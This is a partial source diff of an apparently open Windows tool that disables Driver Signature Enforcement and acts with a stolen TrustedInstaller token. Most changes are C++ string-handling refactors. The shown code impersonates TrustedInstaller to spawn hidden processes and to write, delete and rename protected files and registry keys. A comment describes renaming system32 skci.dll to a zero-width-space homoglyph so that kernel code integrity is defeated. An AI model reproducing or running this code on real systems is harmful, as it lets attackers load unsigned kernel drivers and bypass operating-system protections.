@@ -310,26 +302,11 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||||
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||||
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
||||||
// Check if skci.dlI exists
|
postReboot = true;
|
||||||
wchar_t sysDir[MAX_PATH];
|
|
||||||
GetSystemDirectoryW(sysDir, MAX_PATH);
|
|
||||||
std::wstring checkPath = std::wstring(sysDir) + L"\\skci.dlI";
|
|
||||||
|
|
||||||
DWORD attrs = GetFileAttributesW(checkPath.c_str());
|
|
||||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
|
||||||
// skci.dlI doesn't exist - stale registry entry
|
|
||||||
RegCloseKey(hKey);
|
|
||||||
DEBUG(L"Stale registry state detected, clearing...");
|
|
||||||
RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE");
|
|
||||||
hKey = nullptr;
|
|
||||||
} else {
|
|
||||||
postReboot = true;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (hKey) {
|
|
||||||
RegCloseKey(hKey);
|
RegCloseKey(hKey);
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (postReboot) {
|
if (postReboot) {
|
||||||
@@ -342,7 +319,7 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
DEBUG(L"Normal DSE disable request");
|
DEBUG(L"Normal DSE disable request");
|
||||||
INFO(L"Disabling Driver Signature Enforcement...");
|
INFO(L"Disabling driver signature enforcement...");
|
||||||
|
|
||||||
if (!g_controller->DisableDSE()) {
|
if (!g_controller->DisableDSE()) {
|
||||||
ERROR(L"Failed to disable DSE");
|
ERROR(L"Failed to disable DSE");
|
||||||
@@ -350,21 +327,17 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
SUCCESS(L"DSE disabled successfully!");
|
//wesmar-debug: INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress());
|
||||||
INFO(L"You can now load unsigned drivers");
|
|
||||||
INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress());
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
else if (subCmd == L"on") {
|
else if (subCmd == L"on") {
|
||||||
INFO(L"Restoring Driver Signature Enforcement...");
|
INFO(L"Restoring driver signature enforcement...");
|
||||||
|
|
||||||
if (!g_controller->RestoreDSE()) {
|
if (!g_controller->RestoreDSE()) {
|
||||||
ERROR(L"Failed to restore DSE");
|
ERROR(L"Failed to restore DSE");
|
||||||
return 2;
|
return 2;
|
||||||
}
|
}
|
||||||
|
return 0;
|
||||||
SUCCESS(L"DSE restored successfully!");
|
|
||||||
return 0;
|
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
ERROR(L"Unknown DSE command: %s", subCmd.data());
|
ERROR(L"Unknown DSE command: %s", subCmd.data());
|
||||||
@@ -410,7 +383,7 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
ERROR(L"Failed to stop service");
|
ERROR(L"Failed to stop service");
|
||||||
}
|
}
|
||||||
|
|
||||||
Sleep(500);
|
// Only for service debug Sleep(500);
|
||||||
|
|
||||||
INFO(L"Starting service...");
|
INFO(L"Starting service...");
|
||||||
bool started = ServiceManager::StartServiceProcess();
|
bool started = ServiceManager::StartServiceProcess();
|
||||||
|
|||||||
@@ -8,6 +8,8 @@
|
|||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
#include <cctype>
|
#include <cctype>
|
||||||
#include <filesystem>
|
#include <filesystem>
|
||||||
|
#include <string_view>
|
||||||
|
#include <span>
|
||||||
|
|
||||||
namespace fs = std::filesystem;
|
namespace fs = std::filesystem;
|
||||||
|
|
||||||
@@ -61,14 +63,14 @@ TrustedInstallerIntegrator::~TrustedInstallerIntegrator()
|
|||||||
// CORE TOKEN MANAGEMENT
|
// CORE TOKEN MANAGEMENT
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
|
|
||||||
BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(LPCWSTR privilegeName)
|
BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(std::wstring_view privilegeName)
|
||||||
{
|
{
|
||||||
HANDLE hToken;
|
HANDLE hToken;
|
||||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||||
return FALSE;
|
return FALSE;
|
||||||
|
|
||||||
LUID luid;
|
LUID luid;
|
||||||
if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) {
|
if (!LookupPrivilegeValueW(NULL, privilegeName.data(), &luid)) {
|
||||||
CloseHandle(hToken);
|
CloseHandle(hToken);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
@@ -128,7 +130,7 @@ DWORD TrustedInstallerIntegrator::StartTrustedInstallerService()
|
|||||||
|
|
||||||
SERVICE_STATUS_PROCESS statusBuffer;
|
SERVICE_STATUS_PROCESS statusBuffer;
|
||||||
DWORD bytesNeeded;
|
DWORD bytesNeeded;
|
||||||
const DWORD timeout = 30000;
|
const DWORD timeout = 3000;
|
||||||
DWORD startTime = GetTickCount();
|
DWORD startTime = GetTickCount();
|
||||||
|
|
||||||
while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded))
|
while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded))
|
||||||
@@ -231,7 +233,7 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken()
|
|||||||
g_cachedTrustedInstallerToken = hDuplicatedToken;
|
g_cachedTrustedInstallerToken = hDuplicatedToken;
|
||||||
g_lastTokenAccessTime = currentTime;
|
g_lastTokenAccessTime = currentTime;
|
||||||
|
|
||||||
SUCCESS(L"TrustedInstaller token cached successfully");
|
DEBUG(L"TrustedInstaller token cached successfully");
|
||||||
return g_cachedTrustedInstallerToken;
|
return g_cachedTrustedInstallerToken;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -239,42 +241,40 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken()
|
|||||||
// PROCESS EXECUTION
|
// PROCESS EXECUTION
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
|
|
||||||
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine)
|
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine)
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) return FALSE;
|
if (!hToken) return FALSE;
|
||||||
|
|
||||||
wchar_t* mutableCmd = _wcsdup(commandLine);
|
// Convert string_view to mutable string for CreateProcessWithTokenW
|
||||||
if (!mutableCmd) return FALSE;
|
std::wstring mutableCmd{commandLine};
|
||||||
|
|
||||||
STARTUPINFOW si = { sizeof(si) };
|
STARTUPINFOW si = { sizeof(si) };
|
||||||
PROCESS_INFORMATION pi;
|
PROCESS_INFORMATION pi;
|
||||||
|
|
||||||
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, 0, NULL, NULL, &si, &pi);
|
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), 0, NULL, NULL, &si, &pi);
|
||||||
|
|
||||||
if (result) {
|
if (result) {
|
||||||
CloseHandle(pi.hProcess);
|
CloseHandle(pi.hProcess);
|
||||||
CloseHandle(pi.hThread);
|
CloseHandle(pi.hThread);
|
||||||
}
|
}
|
||||||
|
|
||||||
free(mutableCmd);
|
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine)
|
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine)
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) return FALSE;
|
if (!hToken) return FALSE;
|
||||||
|
|
||||||
wchar_t* mutableCmd = _wcsdup(commandLine);
|
std::wstring mutableCmd{commandLine};
|
||||||
if (!mutableCmd) return FALSE;
|
|
||||||
|
|
||||||
STARTUPINFOW si = { sizeof(si) };
|
STARTUPINFOW si = { sizeof(si) };
|
||||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||||
si.wShowWindow = SW_HIDE;
|
si.wShowWindow = SW_HIDE;
|
||||||
|
|
||||||
PROCESS_INFORMATION pi;
|
PROCESS_INFORMATION pi;
|
||||||
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
||||||
|
|
||||||
if (result) {
|
if (result) {
|
||||||
DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000);
|
DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000);
|
||||||
@@ -291,7 +291,6 @@ BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid
|
|||||||
CloseHandle(pi.hThread);
|
CloseHandle(pi.hThread);
|
||||||
}
|
}
|
||||||
|
|
||||||
free(mutableCmd);
|
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -299,8 +298,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma
|
|||||||
{
|
{
|
||||||
std::wstring finalCommandLine = commandLine;
|
std::wstring finalCommandLine = commandLine;
|
||||||
|
|
||||||
if (IsLnkFile(commandLine.c_str())) {
|
if (IsLnkFile(commandLine)) {
|
||||||
finalCommandLine = ResolveLnk(commandLine.c_str());
|
finalCommandLine = ResolveLnk(commandLine);
|
||||||
if (finalCommandLine.empty()) {
|
if (finalCommandLine.empty()) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -316,7 +315,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str());
|
BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine);
|
||||||
|
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
return result != FALSE;
|
return result != FALSE;
|
||||||
@@ -326,8 +325,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
|
|||||||
{
|
{
|
||||||
std::wstring finalCommandLine = commandLine;
|
std::wstring finalCommandLine = commandLine;
|
||||||
|
|
||||||
if (IsLnkFile(commandLine.c_str())) {
|
if (IsLnkFile(commandLine)) {
|
||||||
finalCommandLine = ResolveLnk(commandLine.c_str());
|
finalCommandLine = ResolveLnk(commandLine);
|
||||||
if (finalCommandLine.empty()) {
|
if (finalCommandLine.empty()) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -343,7 +342,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str());
|
BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine);
|
||||||
|
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
return result != FALSE;
|
return result != FALSE;
|
||||||
@@ -353,8 +352,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
|
|||||||
// FILE OPERATIONS (NEW)
|
// FILE OPERATIONS (NEW)
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& filePath,
|
bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(std::wstring_view filePath,
|
||||||
const std::vector<BYTE>& data) noexcept
|
std::span<const BYTE> data) noexcept
|
||||||
{
|
{
|
||||||
if (data.empty()) {
|
if (data.empty()) {
|
||||||
ERROR(L"Cannot write empty data");
|
ERROR(L"Cannot write empty data");
|
||||||
@@ -372,8 +371,9 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::wstring filePathStr{filePath};
|
||||||
HANDLE hFile = CreateFileW(
|
HANDLE hFile = CreateFileW(
|
||||||
filePath.c_str(),
|
filePathStr.c_str(),
|
||||||
GENERIC_WRITE,
|
GENERIC_WRITE,
|
||||||
0,
|
0,
|
||||||
NULL,
|
NULL,
|
||||||
@@ -384,7 +384,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
|
|||||||
|
|
||||||
if (hFile == INVALID_HANDLE_VALUE) {
|
if (hFile == INVALID_HANDLE_VALUE) {
|
||||||
DWORD error = GetLastError();
|
DWORD error = GetLastError();
|
||||||
ERROR(L"Failed to create file: %s (error: %d)", filePath.c_str(), error);
|
ERROR(L"Failed to create file: %s (error: %d)", filePathStr.c_str(), error);
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -396,7 +396,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
|
|||||||
DWORD bytesToWrite = (std::min)(chunkSize, static_cast<DWORD>(data.size() - totalWritten));
|
DWORD bytesToWrite = (std::min)(chunkSize, static_cast<DWORD>(data.size() - totalWritten));
|
||||||
DWORD bytesWritten = 0;
|
DWORD bytesWritten = 0;
|
||||||
|
|
||||||
if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, nullptr)) {
|
if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, NULL)) {
|
||||||
ERROR(L"WriteFile failed at offset %d", totalWritten);
|
ERROR(L"WriteFile failed at offset %d", totalWritten);
|
||||||
CloseHandle(hFile);
|
CloseHandle(hFile);
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
@@ -416,11 +416,11 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
|
|||||||
CloseHandle(hFile);
|
CloseHandle(hFile);
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
|
|
||||||
DEBUG(L"File written successfully: %s (%zu bytes)", filePath.c_str(), data.size());
|
DEBUG(L"File written successfully: %s (%zu bytes)", filePathStr.c_str(), data.size());
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept
|
bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) {
|
if (!hToken) {
|
||||||
@@ -433,26 +433,27 @@ bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD attrs = GetFileAttributesW(filePath.c_str());
|
std::wstring filePathStr{filePath};
|
||||||
|
DWORD attrs = GetFileAttributesW(filePathStr.c_str());
|
||||||
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
||||||
SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
SetFileAttributesW(filePathStr.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL result = DeleteFileW(filePath.c_str());
|
BOOL result = DeleteFileW(filePathStr.c_str());
|
||||||
DWORD error = result ? 0 : GetLastError();
|
DWORD error = result ? 0 : GetLastError();
|
||||||
|
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
|
|
||||||
if (result) {
|
if (result) {
|
||||||
DEBUG(L"File deleted: %s", filePath.c_str());
|
DEBUG(L"File deleted: %s", filePathStr.c_str());
|
||||||
} else {
|
} else {
|
||||||
ERROR(L"Failed to delete file: %s (error: %d)", filePath.c_str(), error);
|
ERROR(L"Failed to delete file: %s (error: %d)", filePathStr.c_str(), error);
|
||||||
}
|
}
|
||||||
|
|
||||||
return result != FALSE;
|
return result != FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept
|
bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) {
|
if (!hToken) {
|
||||||
@@ -465,27 +466,28 @@ bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::ws
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Twórz rekursywnie wszystkie brakujące katalogi
|
// Create all missing directories recursively
|
||||||
BOOL result = SHCreateDirectoryExW(nullptr, directoryPath.c_str(), nullptr);
|
std::wstring directoryPathStr{directoryPath};
|
||||||
|
BOOL result = SHCreateDirectoryExW(NULL, directoryPathStr.c_str(), NULL);
|
||||||
DWORD error = GetLastError();
|
DWORD error = GetLastError();
|
||||||
|
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
|
|
||||||
// Sukces jeśli katalog został utworzony lub już istnieje
|
// Success if directory was created or already exists
|
||||||
bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS);
|
bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS);
|
||||||
|
|
||||||
if (success) {
|
if (success) {
|
||||||
DEBUG(L"Directory created with TrustedInstaller: %s", directoryPath.c_str());
|
DEBUG(L"Directory created with TrustedInstaller: %s", directoryPathStr.c_str());
|
||||||
} else {
|
} else {
|
||||||
ERROR(L"Failed to create directory: %s (error: %d)", directoryPath.c_str(), error);
|
ERROR(L"Failed to create directory: %s (error: %d)", directoryPathStr.c_str(), error);
|
||||||
}
|
}
|
||||||
|
|
||||||
return success;
|
return success;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Rename system32 library skci.dll with intentional letter swap typo
|
// Replace 'skci.dll' with homoglyph variant using zero-width space (U+200B)
|
||||||
bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring& srcPath,
|
bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(std::wstring_view srcPath,
|
||||||
const std::wstring& dstPath) noexcept
|
std::wstring_view dstPath) noexcept
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) {
|
if (!hToken) {
|
||||||
@@ -498,32 +500,34 @@ bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::wstring srcPathStr{srcPath};
|
||||||
|
std::wstring dstPathStr{dstPath};
|
||||||
|
|
||||||
// Clear attributes on source
|
// Clear attributes on source
|
||||||
DWORD attrs = GetFileAttributesW(srcPath.c_str());
|
DWORD attrs = GetFileAttributesW(srcPathStr.c_str());
|
||||||
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
||||||
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
SetFileAttributesW(srcPathStr.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL result = MoveFileW(srcPath.c_str(), dstPath.c_str());
|
BOOL result = MoveFileW(srcPathStr.c_str(), dstPathStr.c_str());
|
||||||
DWORD error = result ? ERROR_SUCCESS : GetLastError();
|
DWORD error = result ? ERROR_SUCCESS : GetLastError();
|
||||||
|
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
|
|
||||||
if (!result) {
|
if (!result) {
|
||||||
ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPath.c_str(), dstPath.c_str(), error);
|
ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPathStr.c_str(), dstPathStr.c_str(), error);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DEBUG(L"File renamed successfully: %s -> %s", srcPath.c_str(), dstPath.c_str());
|
DEBUG(L"File renamed successfully: %s -> %s", srcPathStr.c_str(), dstPathStr.c_str());
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
// REGISTRY OPERATIONS
|
// REGISTRY OPERATIONS
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey) noexcept
|
std::wstring_view subKey) noexcept
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) {
|
if (!hToken) {
|
||||||
@@ -538,9 +542,11 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
|
|||||||
|
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
DWORD dwDisposition;
|
DWORD dwDisposition;
|
||||||
|
std::wstring subKeyStr{subKey};
|
||||||
|
|
||||||
LONG result = RegCreateKeyExW(
|
LONG result = RegCreateKeyExW(
|
||||||
hRootKey,
|
hRootKey,
|
||||||
subKey.c_str(),
|
subKeyStr.c_str(),
|
||||||
0,
|
0,
|
||||||
NULL,
|
NULL,
|
||||||
REG_OPTION_NON_VOLATILE,
|
REG_OPTION_NON_VOLATILE,
|
||||||
@@ -552,9 +558,9 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
|
|||||||
|
|
||||||
if (result == ERROR_SUCCESS) {
|
if (result == ERROR_SUCCESS) {
|
||||||
RegCloseKey(hKey);
|
RegCloseKey(hKey);
|
||||||
SUCCESS(L"Registry key created: %s", subKey.c_str());
|
SUCCESS(L"Registry key created: %s", subKeyStr.c_str());
|
||||||
} else {
|
} else {
|
||||||
ERROR(L"Failed to create registry key: %s (error: %d)", subKey.c_str(), result);
|
ERROR(L"Failed to create registry key: %s (error: %d)", subKeyStr.c_str(), result);
|
||||||
}
|
}
|
||||||
|
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
@@ -562,9 +568,9 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
|
|||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey,
|
std::wstring_view subKey,
|
||||||
const std::wstring& valueName,
|
std::wstring_view valueName,
|
||||||
const std::wstring& value) noexcept
|
std::wstring_view value) noexcept
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) {
|
if (!hToken) {
|
||||||
@@ -577,29 +583,31 @@ bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRoot
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::wstring subKeyStr{subKey};
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey);
|
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
|
||||||
|
|
||||||
if (openResult != ERROR_SUCCESS) {
|
if (openResult != ERROR_SUCCESS) {
|
||||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
|
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::wstring valueStr{value};
|
||||||
LONG result = RegSetValueExW(
|
LONG result = RegSetValueExW(
|
||||||
hKey,
|
hKey,
|
||||||
valueName.c_str(),
|
std::wstring{valueName}.c_str(),
|
||||||
0,
|
0,
|
||||||
REG_EXPAND_SZ,
|
REG_EXPAND_SZ,
|
||||||
(const BYTE*)value.c_str(),
|
(const BYTE*)valueStr.c_str(),
|
||||||
(DWORD)(value.length() + 1) * sizeof(wchar_t)
|
(DWORD)((valueStr.length() + 1) * sizeof(wchar_t))
|
||||||
);
|
);
|
||||||
|
|
||||||
RegCloseKey(hKey);
|
RegCloseKey(hKey);
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
|
|
||||||
if (result == ERROR_SUCCESS) {
|
if (result == ERROR_SUCCESS) {
|
||||||
SUCCESS(L"Registry value written: %s\\%s", subKey.c_str(), valueName.c_str());
|
SUCCESS(L"Registry value written: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str());
|
||||||
} else {
|
} else {
|
||||||
ERROR(L"Failed to write registry value (error: %d)", result);
|
ERROR(L"Failed to write registry value (error: %d)", result);
|
||||||
}
|
}
|
||||||
@@ -608,9 +616,9 @@ bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRoot
|
|||||||
}
|
}
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
|
bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
|
||||||
const std::wstring& subKey,
|
std::wstring_view subKey,
|
||||||
const std::wstring& valueName,
|
std::wstring_view valueName,
|
||||||
DWORD value) noexcept
|
DWORD value) noexcept
|
||||||
{
|
{
|
||||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
if (!hToken) {
|
if (!hToken) {
|
||||||
@@ -623,18 +631,19 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::wstring subKeyStr{subKey};
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey);
|
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
|
||||||
|
|
||||||
if (openResult != ERROR_SUCCESS) {
|
if (openResult != ERROR_SUCCESS) {
|
||||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
|
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
|
||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
LONG result = RegSetValueExW(
|
LONG result = RegSetValueExW(
|
||||||
hKey,
|
hKey,
|
||||||
valueName.c_str(),
|
std::wstring{valueName}.c_str(),
|
||||||
0,
|
0,
|
||||||
REG_DWORD,
|
REG_DWORD,
|
||||||
(const BYTE*)&value,
|
(const BYTE*)&value,
|
||||||
@@ -645,7 +654,7 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
|
|||||||
RevertToSelf();
|
RevertToSelf();
|
||||||
|
|
||||||
if (result == ERROR_SUCCESS) {
|
if (result == ERROR_SUCCESS) {
|
||||||
SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKey.c_str(), valueName.c_str(), value);
|
SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKeyStr.c_str(), std::wstring{valueName}.c_str(), value);
|
||||||
} else {
|
} else {
|
||||||
ERROR(L"Failed to write registry DWORD (error: %d)", result);
|
ERROR(L"Failed to write registry DWORD (error: %d)", result);
|
||||||
}
|
}
|
||||||
@@ -654,9 +663,9 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
|
|||||||
